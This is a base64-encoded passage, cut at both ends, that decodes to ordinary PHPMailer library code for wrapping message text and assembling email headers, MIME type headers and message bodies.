4gMjApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkc3BhY2VfbGVmdDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkdGhpcy0+dXRmOENoYXJCb3VuZGFyeSgkd29yZCwgJGxlbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMSwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDIsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gLT0gMjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXJ0ID0gc3Vic3RyKCR3b3JkLCAwLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3b3JkID0gc3Vic3RyKCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnIC4gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gJHNvZnRfYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB3aGlsZSAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRsZW5ndGggPD0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICRsZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICR0aGlzLT51dGY4Q2hhckJvdW5kYXJ5KCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDEsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMiwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGVuIC09IDI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhcnQgPSBzdWJzdHIoJHdvcmQsIDAsICRsZW4pOwogICAgICAgICAgICAgICAgICAgICAgICAkd29yZCA9IHN1YnN0cigkd29yZCwgJGxlbik7CgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRwYXJ0IC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRidWZfbyA9ICRidWY7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkZmlyc3R3b3JkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkYnVmIC49ICR3b3JkOwoKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRidWYpID4gJGxlbmd0aCBhbmQgJGJ1Zl9vICE9ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWZfbyAuICRzb2Z0X2JyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHdvcmQ7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZpcnN0d29yZCA9IGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWYgLiBzZWxmOjpDUkxGOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRtZXNzYWdlOwogICAgfQoKICAgIC8qKgogICAgICogRmluZCB0aGUgbGFzdCBjaGFyYWN0ZXIgYm91bmRhcnkgcHJpb3IgdG8gJG1heExlbmd0aCBpbiBhIHV0Zi04CiAgICAgKiBxdW90ZWQtcHJpbnRhYmxlIGVuY29kZWQgc3RyaW5nLgogICAgICogT3JpZ2luYWwgd3JpdHRlbiBieSBDb2xpbiBCcm93bi4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGVkVGV4dCB1dGYtOCBRUCB0ZXh0CiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbWF4TGVuZ3RoIEZpbmQgdGhlIGxhc3QgY2hhcmFjdGVyIGJvdW5kYXJ5IHByaW9yIHRvIHRoaXMgbGVuZ3RoCiAgICAgKiBAcmV0dXJuIGludGVnZXIKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHV0ZjhDaGFyQm91bmRhcnkoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoKQogICAgewogICAgICAgICRmb3VuZFNwbGl0UG9zID0gZmFsc2U7CiAgICAgICAgJGxvb2tCYWNrID0gMzsKICAgICAgICB3aGlsZSAoISRmb3VuZFNwbGl0UG9zKSB7CiAgICAgICAgICAgICRsYXN0Q2h1bmsgPSBzdWJzdHIoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoIC0gJGxvb2tCYWNrLCAkbG9va0JhY2spOwogICAgICAgICAgICAkZW5jb2RlZENoYXJQb3MgPSBzdHJwb3MoJGxhc3RDaHVuaywgJz0nKTsKICAgICAgICAgICAgaWYgKGZhbHNlICE9PSAkZW5jb2RlZENoYXJQb3MpIHsKICAgICAgICAgICAgICAgIC8vIEZvdW5kIHN0YXJ0IG9mIGVuY29kZWQgY2hhcmFjdGVyIGJ5dGUgd2l0aGluICRsb29rQmFjayBibG9jay4KICAgICAgICAgICAgICAgIC8vIENoZWNrIHRoZSBlbmNvZGVkIGJ5dGUgdmFsdWUgKHRoZSAyIGNoYXJzIGFmdGVyIHRoZSAnPScpCiAgICAgICAgICAgICAgICAkaGV4ID0gc3Vic3RyKCRlbmNvZGVkVGV4dCwgJG1heExlbmd0aCAtICRsb29rQmFjayArICRlbmNvZGVkQ2hhclBvcyArIDEsIDIpOwogICAgICAgICAgICAgICAgJGRlYyA9IGhleGRlYygkaGV4KTsKICAgICAgICAgICAgICAgIGlmICgkZGVjIDwgMTI4KSB7CiAgICAgICAgICAgICAgICAgICAgLy8gU2luZ2xlIGJ5dGUgY2hhcmFjdGVyLgogICAgICAgICAgICAgICAgICAgIC8vIElmIHRoZSBlbmNvZGVkIGNoYXIgd2FzIGZvdW5kIGF0IHBvcyAwLCBpdCB3aWxsIGZpdAogICAgICAgICAgICAgICAgICAgIC8vIG90aGVyd2lzZSByZWR1Y2UgbWF4TGVuZ3RoIHRvIHN0YXJ0IG9mIHRoZSBlbmNvZGVkIGNoYXIKICAgICAgICAgICAgICAgICAgICBpZiAoJGVuY29kZWRDaGFyUG9zID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAkbWF4TGVuZ3RoID0gJG1heExlbmd0aCAtICgkbG9va0JhY2sgLSAkZW5jb2RlZENoYXJQb3MpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGRlYyA+PSAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBGaXJzdCBieXRlIG9mIGEgbXVsdGkgYnl0ZSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICAgICAvLyBSZWR1Y2UgbWF4TGVuZ3RoIHRvIHNwbGl0IGF0IHN0YXJ0IG9mIGNoYXJhY3RlcgogICAgICAgICAgICAgICAgICAgICRtYXhMZW5ndGggPSAkbWF4TGVuZ3RoIC0gKCRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvcyk7CiAgICAgICAgICAgICAgICAgICAgJGZvdW5kU3BsaXRQb3MgPSB0cnVlOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRkZWMgPCAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBNaWRkbGUgYnl0ZSBvZiBhIG11bHRpIGJ5dGUgY2hhcmFjdGVyLCBsb29rIGZ1cnRoZXIgYmFjawogICAgICAgICAgICAgICAgICAgICRsb29rQmFjayArPSAzOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gTm8gZW5jb2RlZCBjaGFyYWN0ZXIgZm91bmQKICAgICAgICAgICAgICAgICRmb3VuZFNwbGl0UG9zID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJG1heExlbmd0aDsKICAgIH0KCiAgICAvKioKICAgICAqIEFwcGx5IHdvcmQgd3JhcHBpbmcgdG8gdGhlIG1lc3NhZ2UgYm9keS4KICAgICAqIFdyYXBzIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhlIG51bWJlciBvZiBjaGFycyBzZXQgaW4gdGhlIFdvcmRXcmFwIHByb3BlcnR5LgogICAgICogWW91IHNob3VsZCBvbmx5IGRvIHRoaXMgdG8gcGxhaW4tdGV4dCBib2RpZXMgYXMgd3JhcHBpbmcgSFRNTCB0YWdzIG1heSBicmVhayB0aGVtLgogICAgICogVGhpcyBpcyBjYWxsZWQgYXV0b21hdGljYWxseSBieSBjcmVhdGVCb2R5KCksIHNvIHlvdSBkb24ndCBuZWVkIHRvIGNhbGwgaXQgeW91cnNlbGYuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRXb3JkV3JhcCgpCiAgICB7CiAgICAgICAgaWYgKCR0aGlzLT5Xb3JkV3JhcCA8IDEpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgc3dpdGNoICgkdGhpcy0+bWVzc2FnZV90eXBlKSB7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICBjYXNlICdhbHRfYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnYWx0X2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJHRoaXMtPkFsdEJvZHkgPSAkdGhpcy0+d3JhcFRleHQoJHRoaXMtPkFsdEJvZHksICR0aGlzLT5Xb3JkV3JhcCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5Cb2R5ID0gJHRoaXMtPndyYXBUZXh0KCR0aGlzLT5Cb2R5LCAkdGhpcy0+V29yZFdyYXApOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogQXNzZW1ibGUgbWVzc2FnZSBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBhc3NlbWJsZWQgaGVhZGVycwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlSGVhZGVyKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CgogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0RhdGUnLCAkdGhpcy0+TWVzc2FnZURhdGUgPT0gJycgPyBzZWxmOjpyZmNEYXRlKCkgOiAkdGhpcy0+TWVzc2FnZURhdGUpOwoKICAgICAgICAvLyBUbyBiZSBjcmVhdGVkIGF1dG9tYXRpY2FsbHkgYnkgbWFpbCgpCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR0aGlzLT50byBhcyAkdG9hZGRyKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNpbmdsZVRvQXJyYXlbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCR0b2FkZHIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdUbycsICR0aGlzLT50byk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmIChjb3VudCgkdGhpcy0+Y2MpID09IDApIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdGcm9tJywgYXJyYXkoYXJyYXkodHJpbSgkdGhpcy0+RnJvbSksICR0aGlzLT5Gcm9tTmFtZSkpKTsKCiAgICAgICAgLy8gc2VuZG1haWwgYW5kIG1haWwoKSBleHRyYWN0IENjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmIChjb3VudCgkdGhpcy0+Y2MpID4gMCkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdDYycsICR0aGlzLT5jYyk7CiAgICAgICAgfQoKICAgICAgICAvLyBzZW5kbWFpbCBhbmQgbWFpbCgpIGV4dHJhY3QgQmNjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmICgoCiAgICAgICAgICAgICAgICAkdGhpcy0+TWFpbGVyID09ICdzZW5kbWFpbCcgb3IgJHRoaXMtPk1haWxlciA9PSAncW1haWwnIG9yICR0aGlzLT5NYWlsZXIgPT0gJ21haWwnCiAgICAgICAgICAgICkKICAgICAgICAgICAgYW5kIGNvdW50KCR0aGlzLT5iY2MpID4gMAogICAgICAgICkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdCY2MnLCAkdGhpcy0+YmNjKTsKICAgICAgICB9CgogICAgICAgIGlmIChjb3VudCgkdGhpcy0+UmVwbHlUbykgPiAwKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1JlcGx5LVRvJywgJHRoaXMtPlJlcGx5VG8pOwogICAgICAgIH0KCiAgICAgICAgLy8gbWFpbCgpIHNldHMgdGhlIHN1YmplY3QgaXRzZWxmCiAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1N1YmplY3QnLCAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJHRoaXMtPlN1YmplY3QpKSk7CiAgICAgICAgfQoKICAgICAgICAvLyBPbmx5IGFsbG93IGEgY3VzdG9tIG1lc3NhZ2UgSUQgaWYgaXQgY29uZm9ybXMgdG8gUkZDIDUzMjIgc2VjdGlvbiAzLjYuNAogICAgICAgIC8vIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIyI3NlY3Rpb24tMy42LjQKICAgICAgICBpZiAoJycgIT0gJHRoaXMtPk1lc3NhZ2VJRCBhbmQgcHJlZ19tYXRjaCgnL148LipALio+JC8nLCAkdGhpcy0+TWVzc2FnZUlEKSkgewogICAgICAgICAgICAkdGhpcy0+bGFzdE1lc3NhZ2VJRCA9ICR0aGlzLT5NZXNzYWdlSUQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPmxhc3RNZXNzYWdlSUQgPSBzcHJpbnRmKCc8JXNAJXM+JywgJHRoaXMtPnVuaXF1ZWlkLCAkdGhpcy0+c2VydmVySG9zdG5hbWUoKSk7CiAgICAgICAgfQogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ01lc3NhZ2UtSUQnLCAkdGhpcy0+bGFzdE1lc3NhZ2VJRCk7CiAgICAgICAgaWYgKCFpc19udWxsKCR0aGlzLT5Qcmlvcml0eSkpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnWC1Qcmlvcml0eScsICR0aGlzLT5Qcmlvcml0eSk7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+WE1haWxlciA9PSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKAogICAgICAgICAgICAgICAgJ1gtTWFpbGVyJywKICAgICAgICAgICAgICAgICdQSFBNYWlsZXIgJyAuICR0aGlzLT5WZXJzaW9uIC4gJyAoaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIpJwogICAgICAgICAgICApOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRteVhtYWlsZXIgPSB0cmltKCR0aGlzLT5YTWFpbGVyKTsKICAgICAgICAgICAgaWYgKCRteVhtYWlsZXIpIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1gtTWFpbGVyJywgJG15WG1haWxlcik7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAhPSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdEaXNwb3NpdGlvbi1Ob3RpZmljYXRpb24tVG8nLCAnPCcgLiAkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAuICc+Jyk7CiAgICAgICAgfQoKICAgICAgICAvLyBBZGQgY3VzdG9tIGhlYWRlcnMKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Q3VzdG9tSGVhZGVyIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgKICAgICAgICAgICAgICAgIHRyaW0oJGhlYWRlclswXSksCiAgICAgICAgICAgICAgICAkdGhpcy0+ZW5jb2RlSGVhZGVyKHRyaW0oJGhlYWRlclsxXSkpCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnNpZ25fa2V5X2ZpbGUpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnTUlNRS1WZXJzaW9uJywgJzEuMCcpOwogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5nZXRNYWlsTUlNRSgpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIG1lc3NhZ2UgTUlNRSB0eXBlIGhlYWRlcnMuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldE1haWxNSU1FKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgJGlzbXVsdGlwYXJ0ID0gdHJ1ZTsKICAgICAgICBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsxXSAuICciJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L21peGVkOycpOwogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzFdIC4gJyInKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdhbHQnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0gLiAnIicpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaGVzIGNhc2UgJ3BsYWluJzogYW5kIGNhc2UgJyc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgnQ29udGVudC1UeXBlOiAnIC4gJHRoaXMtPkNvbnRlbnRUeXBlIC4gJzsgY2hhcnNldD0nIC4gJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGlzbXVsdGlwYXJ0ID0gZmFsc2U7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkdGhpcy0+RW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgIC8vIFJGQyAyMDQ1IHNlY3Rpb24gNi40IHNheXMgbXVsdGlwYXJ0IE1JTUUgcGFydHMgbWF5IG9ubHkgdXNlIDdiaXQsIDhiaXQgb3IgYmluYXJ5IENURQogICAgICAgICAgICBpZiAoJGlzbXVsdGlwYXJ0KSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPkVuY29kaW5nID09ICc4Yml0JykgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAnOGJpdCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gVGhlIG9ubHkgcmVtYWluaW5nIGFsdGVybmF0aXZlcyBhcmUgcXVvdGVkLXByaW50YWJsZSBhbmQgYmFzZTY0LCB3aGljaCBhcmUgYm90aCA3Yml0IGNvbXBhdGlibGUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybnMgdGhlIHdob2xlIE1JTUUgbWVzc2FnZS4KICAgICAqIEluY2x1ZGVzIGNvbXBsZXRlIGhlYWRlcnMgYW5kIGJvZHkuCiAgICAgKiBPbmx5IHZhbGlkIHBvc3QgcHJlU2VuZCgpLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnByZVNlbmQoKQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTZW50TUlNRU1lc3NhZ2UoKQogICAgewogICAgICAgIHJldHVybiBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciAuICR0aGlzLT5tYWlsSGVhZGVyLCAiXG5cciIpIC4gc2VsZjo6Q1JMRiAuIHNlbGY6OkNSTEYgLiAkdGhpcy0+TUlNRUJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdW5pcXVlIElECiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZ2VuZXJhdGVJZCgpIHsKICAgICAgICByZXR1cm4gbWQ1KHVuaXFpZCh0aW1lKCkpKTsKICAgIH0KCiAgICAvKioKICAgICAqIEFzc2VtYmxlIHRoZSBtZXNzYWdlIGJvZHkuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgYXNzZW1ibGVkIG1lc3NhZ2UgYm9keQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlQm9keSgpCiAgICB7CiAgICAgICAgJGJvZHkgPSAnJzsKICAgICAgICAvL0NyZWF0ZSB1bmlxdWUgSURzIGFuZCBwcmVzZXQgYm91bmRhcmllcwogICAgICAgICR0aGlzLT51bmlxdWVpZCA9ICR0aGlzLT5nZW5lcmF0ZUlkKCk7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzFdID0gJ2IxXycgLiAkdGhpcy0+dW5pcXVlaWQ7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzJdID0gJ2IyXycgLiAkdGhpcy0+dW5pcXVlaWQ7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzNdID0gJ2IzXycgLiAkdGhpcy0+dW5pcXVlaWQ7CgogICAgICAgIGlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgewogICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0TWFpbE1JTUUoKSAuICR0aGlzLT5MRTsKICAgICAgICB9CgogICAgICAgICR0aGlzLT5zZXRXb3JkV3JhcCgpOwoKICAgICAgICAkYm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRib2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGJvZHkgcGFydCBvbmx5CiAgICAgICAgaWYgKCdiYXNlNjQnICE9ICR0aGlzLT5FbmNvZGluZyBhbmQgc2VsZjo6aGFzTGluZUxvbmdlclRoYW5NYXgoJHRo